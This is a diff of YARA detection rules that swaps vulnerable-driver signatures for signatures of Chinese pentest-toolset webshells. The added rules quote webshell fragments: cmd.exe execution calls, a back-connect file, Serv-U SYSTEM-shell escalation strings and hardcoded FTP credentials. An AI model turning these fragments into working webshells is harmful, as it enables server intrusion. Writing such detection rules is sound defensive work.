+		$s6 = "Response.Cookies(Cookie_Login) = sPwd" fullword ascii
+		$s8 = "Set DD=CM.exec(ShellPath&\" /c \"&DefCmd)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <150KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Insydesoftwarecorp_Segwindrvxsys_Segwindowsdriverx_6532 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Serv_U_2_Admin_By_Lake2 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - segwindrvx64.sys"
-		author = "Florian Roth"
-		id = "b9a6e1e6-1bc5-587f-a31f-8dc55568ad9e"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file Serv-U 2 admin by lake2.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8fce8835-a4ed-58df-a725-0c1fc04becaa"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1378-L1398"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "65329dad28e92f4bcc64de15c552b6ef424494028b18875b7dba840053bc0cdd"
-		logic_hash = "b4f90f50b2e90fd8dc57778ba8f650ed201fe2f11f145e981d13021f87746d1f"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L600-L617"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cb8039f213e611ab2687edd23e63956c55f30578"
+		logic_hash = "a67c08b3a4bed2385d2fa8c007615bfb37a2d739cc13ee2e0f5eda00536b6ea8"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]003100300030002e00300030002e00300037002e00300032 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]003100300030002e00300030002e00300037002e00300032 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100320020002d00200032003000310035002c00200049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$s1 = "xPost3.Open \"POST\", \"http://127.0.0.1:\"& port &\"/lake2\", True" fullword ascii
+		$s2 = "response.write \"FTP user lake  pass admin123 :)<br><BR>\"" fullword ascii
+		$s8 = "<p>Serv-U Local Get SYSTEM Shell with ASP" fullword ascii
+		$s9 = "\"-HomeDir=c:\\\\\" & vbcrlf & \"-LoginMesFile=\" & vbcrlf & \"-Disable=0\" & vb" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <17KB and 2 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_909D : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Php3 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
-		author = "Florian Roth"
-		id = "8dcbf930-ae97-5389-9b68-793dc82b042b"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file php3.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3000ac40-35de-5d24-85fb-4d105b07c2e7"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1401-L1421"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "909de5f21837ea2b13fdc4e5763589e6bdedb903f7c04e1d0b08776639774880"
-		logic_hash = "669972137fad6a5cc701ea56cf8ae85e08d2131f026e8cf1bd5c85ca1754d3cb"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L619-L634"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e2924cb0537f4cdfd6f1bd44caaaf68a73419b9d"
+		logic_hash = "ba3892feacbbe3d7c6b6308a22ca22b19ae84b6490df2c976852260da2a96ca1"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0035002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0035002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300032003000200041004d0044002c00200049006e0063002e }
+		$s1 = "} elseif(@is_resource($f = @popen($cfe,\"r\"))) {" fullword ascii
+		$s2 = "cf('/tmp/.bc',$back_connect);" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <8KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Atitechnologiesinc_Atillksys_Atidiagnostics_AD40 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Serv_U_By_Goldsun : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - atillk64.sys"
-		author = "Florian Roth"
-		id = "f5e53c71-1c12-5df8-a2cc-563473190c87"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file Serv-U_by_Goldsun.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d8b85c33-b05d-531a-9c0a-a1dddcae0da4"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1424-L1446"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ad40e6d0f77c0e579fb87c5106bf6de3d1a9f30ee2fbf8c9c011f377fa05f173"
-		hash = "38bb9751a3a1f072d518afe6921a66ee6d5cf6d25bc50af49e1925f20d75d4d7"
-		hash = "5c04c274a708c9a7d993e33be3ea9e6119dc29527a767410dbaf93996f87369a"
-		logic_hash = "929e467d52a19dfba2c8ca6c4124881d76c239a4d04ce10c195665bf4bfea373"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L636-L653"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d4d7a632af65a961a1dbd0cff80d5a5c2b397e8c"
+		logic_hash = "962b2e75c03f716fc039cf26aa238e9a3faf5a7ea8fb3d4da556fa601790055a"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410054004900200044006900610067006e006f007300740069006300730020004800610072006400770061007200650020004100620073007400720061006300740069006f006e0020005300790073 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410054004900200054006500630068006e006f006c006f006700690065007300200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00310031002e0039002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00310031002e0039002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100740069006c006c006b00360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410054004900200044006900610067006e006f00730074006900630073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100740069006c006c006b00360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000410054004900200054006500630068006e006f006c006f006700690065007300200049006e0063002e002c00200032003000300033 }
+		$s1 = "b.open \"GET\", \"http://127.0.0.1:\" & ftpport & \"/goldsun/upadmin/s2\", True," ascii
+		$s2 = "newuser = \"-SETUSERSETUP\" & vbCrLf & \"-IP=0.0.0.0\" & vbCrLf & \"-PortNo=\" &" ascii
+		$s3 = "127.0.0.1:<%=port%>," fullword ascii
+		$s4 = "GName=\"http://\" & request.servervariables(\"server_name\")&\":\"&request.serve" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <30KB and 2 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_0CD4 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Php10 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "6ee8fb67-896d-534f-9602-a0f46a43e5cd"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file php10.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5fe78cc6-8be3-595f-a082-e361259938e5"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1449-L1469"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0cd4ca335155062182608cad9ef5c8351a715bce92049719dd09c76422cd7b0c"
-		logic_hash = "b0ef81e3a05326390a7d2f00499cf3aaf0610b03f3df2313d5a1f2dddff3555f"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L655-L670"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3698c566a0ae07234c8957112cdb34b79362b494"
+		logic_hash = "76bb2dfd518173f031cc3c93b2098edaef4aca09f0dd8228223257b0b7df452b"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0033002e00360038002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0033002e00360038002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$s1 = "dumpTable($N,$M,$Hc=false){if($_POST[\"format\"]!=\"sql\"){echo\"\\xef\\xbb\\xbf" ascii
+		$s2 = "';if(DB==\"\"||!$od){echo\"<a href='\".h(ME).\"sql='\".bold(isset($_GET[\"sql\"]" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		filesize <600KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Novellinc_Novellxtier_E16D : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Serv_U_Servu : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - libnicm.sys"
-		author = "Florian Roth"
-		id = "73d525b8-d109-5872-8841-b1c5149f732e"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file servu.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3e50d991-7297-5766-b68a-e74aa34ce042"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1472-L1494"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e16dc51c51b2df88c474feb52ce884d152b3511094306a289623de69dedfdf48"
-		hash = "e6056443537d4d2314dabca1b9168f1eaaf17a14eb41f6f5741b6b82b3119790"
-		hash = "ab0925398f3fa69a67eacee2bbb7b34ac395bb309df7fc7a9a9b8103ef41ed7a"
-		hash = "da11e9598eef033722b97873d1c046270dd039d0e3ee6cd37911e2dc2eb2608d"
-		logic_hash = "0395f7d17d51104b09a35065dcebf608ae8a60fde71c22c1f6d414c2fd0c7cc9"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L671-L686"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7de701b86820096e486e64ca34f1fa9f2fbba641"
+		logic_hash = "d3956b6daa0649233372aea4176e0d43c44d866146884222f92b7efe01f288bb"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c0020005800540043004f004d0020005300650072007600690063006500730020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310031002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310031 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006c00690062006e00690063006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310033002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$s0 = "fputs ($conn_id, \"SITE EXEC \".$dir.\"cmd.exe /c \".$cmd.\"\\r\\n\");" fullword ascii
+		$s1 = "function ftpcmd($ftpport,$user,$password,$dir,$cmd){" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		filesize <41KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroaegis_3FA6 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Portrecall_Jsp2 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "25f27f08-3aab-5b8f-bf59-37a40de4fb44"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file jsp2.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cd34cb47-c5e0-5094-a501-6a8a00d94018"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1497-L1517"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3fa6379951f08ed3cb87eeba9cf0c5f5e1d0317dcfcf003b810df9d795eeb73e"
-		logic_hash = "c1d75b4073f212403f3e7b50cd8c1ea2a8a979bca7cf2dd4cd05bfca03d49c48"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L688-L704"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "412ed15eb0d24298ba41731502018800ffc24bfc"
+		logic_hash = "1ec77a1b0d30cdebce1b5b07445247016230b733a594d8d1de642c2c8af63031"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e00380030002e0030002e0031003000370037 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00380030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f002000410045004700490053 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "final String remoteIP =request.getParameter(\"remoteIP\");" fullword ascii
+		$s4 = "final String localIP = request.getParameter(\"localIP\");" fullword ascii
+		$s20 = "final String localPort = \"3390\";//request.getParameter(\"localPort\");" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		filesize <23KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_3E1D : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_ASPX_Aspx2 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "d8d61d0b-d859-5e7e-9ef6-b232ab499560"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file aspx2.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0da59fde-2214-5677-943f-05b8da4fd9d4"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1520-L1540"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3e1d47a497babbfd1c83905777b517ec87c65742bee7eb57a2273eca825d2272"
-		logic_hash = "29f4dbbd8dd749a9ccf94cd59010c8c8b63ce1d33c93f05b1f24b1e6a216aff6"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L706-L723"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "95db7a60f4a9245ffd04c4d9724c2745da55e9fd"
+		logic_hash = "7af90992bc3f708d877dcd5841c0d132793e41a0796607907084516d955b3ae0"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0030002e0030002e0031003100310033 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003100310020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "if (password.Equals(this.txtPass.Text))" fullword ascii
+		$s1 = "<head runat=\"server\">" fullword ascii
+		$s2 = ":<asp:TextBox runat=\"server\" ID=\"txtPass\" Width=\"400px\"></asp:TextBox>" fullword ascii
+		$s3 = "this.lblthispath.Text = Server.MapPath(Request.ServerVariables[\"PATH_INFO\"]);" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		uint16(0)==0x253c and filesize <9KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_6FB5 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_ASP_Hy2006A : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "a9926e8c-f504-5926-8be0-e4e9ccf3b971"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file hy2006a.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "115651d3-63e1-58e3-b27c-42271111bb91"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1543-L1563"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6fb5bc9c51f6872de116c7db8a2134461743908efc306373f6de59a0646c4f5d"
-		logic_hash = "108670db45ff60bd5d31187755019cd7530f29da12d36c96be06880c23d5e7f9"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L725-L740"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "20da92b2075e6d96636f883dcdd3db4a38c01090"
+		logic_hash = "a24bf11a2728bb8d18ea005b057648770956694e0b257d4464ad15ee3e24eda2"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0035002e0034003200320030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0035002e0034003200320030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$s15 = "Const myCmdDotExeFile = \"command.com\"" fullword ascii
+		$s16 = "If LCase(appName) = \"cmd.exe\" And appArgs <> \"\" Then" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		filesize <406KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Asrockincorporation_Asrdrvsys_Asrockiodriver_3943 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Php1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AsrDrv106.sys"
-		author = "Florian Roth"
-		id = "b35951c3-d0df-5a4d-8c81-333adee6310e"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file php1.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5fe78cc6-8be3-595f-a082-e361259938e5"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1566-L1592"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3943a796cc7c5352aa57ccf544295bfd6fb69aae147bc8235a00202dc6ed6838"
-		hash = "950a4c0c772021cee26011a92194f0e58d61588f77f2873aa0599dff52a160c9"
-		hash = "2003b478b9fd1b3d76ec5bf4172c2e8915babbbee7ad1783794acbf8d4c2519d"
-		hash = "6ed35f310c96920a271c59a097b382da07856e40179c2a4239f8daa04eef38e7"
-		hash = "ece0a900ea089e730741499614c0917432246ceb5e11599ee3a1bb679e24fd2c"
-		hash = "f40435488389b4fb3b945ca21a8325a51e1b5f80f045ab019748d0ec66056a8b"
-		hash = "a7c2e7910942dd5e43e2f4eb159bcd2b4e71366e34a68109548b9fb12ac0f7cc"
